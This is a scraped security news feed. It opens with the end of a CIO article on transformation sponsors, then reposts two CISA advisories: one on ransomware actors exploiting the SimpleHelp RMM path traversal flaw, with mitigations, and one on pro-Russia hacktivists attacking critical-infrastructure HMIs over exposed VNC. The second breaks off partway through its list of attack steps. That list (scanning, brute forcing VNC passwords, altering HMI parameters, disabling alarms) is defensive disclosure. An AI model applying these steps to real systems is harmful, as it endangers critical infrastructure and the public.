<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider]]></title>
<description><![CDATA[Summary
The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. Th...]]></description>
<link>https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</guid>
<pubDate>Sat, 25 Jul 2026 09:19:52 +0200</pubDate>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p>The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.</p>
<p>SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including <a href="https://www.cve.org/CVERecord?id=CVE-2024-57727" target="_blank" title="CVE-2024-57727">CVE-2024-57727</a>—a path traversal vulnerability.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note1"><sup>1</sup></a><sup> </sup>Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note 1"><sup>1</sup></a><sup> </sup></p>
<p>CISA added CVE-2024-57727 to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog">Known Exploited Vulnerabilities (KEV) Catalog</a> on Feb. 13, 2025.</p>
<p>CISA urges software vendors, downstream customers, and end users to immediately implement the <strong>Mitigations </strong>listed in this advisory based on confirmed compromise or risk of compromise.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-06/aa25-163a-ransomware-simplehelp-rmm-compromise.pdf" class="c-file__link" target="_blank">AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider</a>
    <span class="c-file__size">(PDF,       420.49 KB
  )</span>
  </div>
</div>
<h2><strong>Mitigations</strong></h2>
<p>CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.</p>
<h3>Vulnerable Third-Party Vendors</h3>
<p>If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <code>&lt;file_path&gt;/SimpleHelp/configuration/serverconfig.xml</code>. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:</p>
<ol>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note2" title="Note 2"><sup>2</sup></a></li>
<li>Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.</li>
</ol>
<h3>Vulnerable Downstream Customers and End Users</h3>
<p>Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.</p>
<h4><strong>SimpleHelp Endpoints</strong></h4>
<p>Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:</p>
<ul>
<li>Windows: <code>%APPDATA%\JWrapper-Remote Access</code></li>
<li>Linux: <code>/opt/JWrapper-Remote Access</code></li>
<li>MacOs: <code>/Library/Application Support/JWrapper-Remote Access</code></li>
</ul>
<p>If RAS installation is present and running, open the <code>serviceconfig.xml</code> file in <code>&lt;file_path&gt;/JWrapper-Remote Access/JWAppsSharedConfig/</code> to determine if the registered service is vulnerable. The lines starting with <code>&lt;ConnectTo</code> indicate the server addresses where the service is registered.</p>
<h4><strong>SimpleHelp Server</strong></h4>
<p>Determine the version of any SimpleHelp server by performing an HTTP query against it. Add <code>/allversions</code> (e.g., <code>https://simple-help.com/allversions</code>) to query the URL for the version page. This page will list the running version.</p>
<p>If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. <strong>Note: </strong>This is not an exhaustive list of indicators of compromise.</p>
<ol>
<li> Refer to SimpleHelp’s guidance to determine compromise and next steps.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note3" title="Note 3"><sup>3</sup></a></li>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., <code>aaa.exe</code>, <code>bbb.exe</code>, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.</li>
<li>Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note4" title="Note 4"><sup>4</sup></a></li>
</ol>
<p>If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.</p>
<h3>Encrypted Downstream Customers and End Users</h3>
<p>If a system has been encrypted by ransomware:</p>
<ol>
<li>Disconnect the affected system from the internet.</li>
<li>Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.</li>
<li>Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.</li>
</ol>
<p>CISA urges you to promptly report ransomware incidents to a <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="local FBI Field Office">local FBI Field Office</a>, FBI’s <a href="https://www.ic3.gov/" target="_blank" title="Internet Crime Compliant Center (IC3)">Internet Crime Compliant Center (IC3)</a>, and CISA via CISA’s 24/7 Operations Center (<a href="mailto:report@cisa.gov" title="report@cisa.gov">report@cisa.gov</a> or 1-844-Say-CISA).</p>
<h3><strong>Proactive Mitigations to Reduce Risk</strong></h3>
<p>To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:</p>
<ul>
<li>Maintain a robust asset inventory and hardware list [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#AssetInventory1A" title="CPG 1.A">CPG 1.A</a>].</li>
<li>Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#SystemBackups2R" title="CPG 2.R">CPG 2.R</a>].</li>
<li>Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#NoExploitableServicesontheInternet2W" title="CPG 2.W">CPG 2.W</a>].</li>
<li>Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.</li>
<li>Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.</li>
<li>For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
<ul>
<li>An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s <a href="https://www.cisa.gov/sbom" title="SBOM">SBOM</a> page.</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<ul>
<li><strong>Health-ISAC:</strong><a href="https://health-isac.org/threat-bulletin-simplehelp-rmm-software-leveraged-in-exploitation-attempt-to-breach-networks/" target="_blank" title="Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks">Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks</a></li>
<li><strong>Arctic Wolf: </strong><a href="https://arcticwolf.com/resources/blog-uk/arctic-wolf-observes-campaign-exploiting-simplehelp-rmm-software-initial-access/" target="_blank" title="Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access">Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access</a></li>
<li><strong>CISA: </strong><a href="https://www.cisa.gov/stopransomware/ransomware-guide" title="#StopRansomware Guide">#StopR</a><a href="https://www.cisa.gov/#StopRansomware" title="#StopRansomware Guide">ansomware Guide</a></li>
</ul>
<h2><strong>Reporting</strong></h2>
<p>Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.</p>
<p>FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.</p>
<p>Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.</p>
<p>CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s <a href="https://www.ic3.gov/Home/ComplaintChoice" title="Internet Crime Complain Center (IC3)">Internet Crime Complain Center (IC3)</a>, a <a href="https://www.fbi.gov/contact-us/field-offices" title="local FBI Field Office">local FBI Field Office</a>, or CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a> or its 24/7 Operations Center (<a href="mailto:report@cisa.gov)or" title="report@cisa.gov">report@cisa.gov</a>) or by calling 1-844-Say-CISA (1-844-729-2472).</p>
<p>SimpleHelp users or vendors can contact <a href="mailto:support@simple-help.com" title="support@simple-help.com">support@simple-help.com</a> for assistance with queries or concerns.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.</p>
<h2><strong>Version History</strong></h2>
<p><strong>June 12, 2025:</strong> Initial version.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"><strong>1.</strong></a><strong> </strong>Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” <em>Sophos News</em>, May 27, 2025, <a href="https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/" target="_blank" title="DragonForce actors target SimpleHelp vulnerabilities to attack MSP, customers">https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/</a>.<br><a class="ck-anchor"><strong>2</strong></a><strong>.</strong> For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="SimpleHelp’s security vulnerability advisory.">SimpleHelp’s security vulnerability</a> advisory.<br><a class="ck-anchor"><strong>3.</strong></a> To determine possibility of compromise and next steps, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025#characteristics-of-compromise" target="_blank" title="Characteristics of Compromise">SimpleHelp’s guidance</a>.<br><a class="ck-anchor"><strong>4</strong></a><strong>. </strong>For instructions for upgrading to the latest version of SimpleHelp, see <a href="https://simple-help.com/kb---security-vulnerabilities-01-2025" target="_blank" title="security vulnerability advisory">SimpleHelp’s security vulnerability</a> advisory.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
  </div>
</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
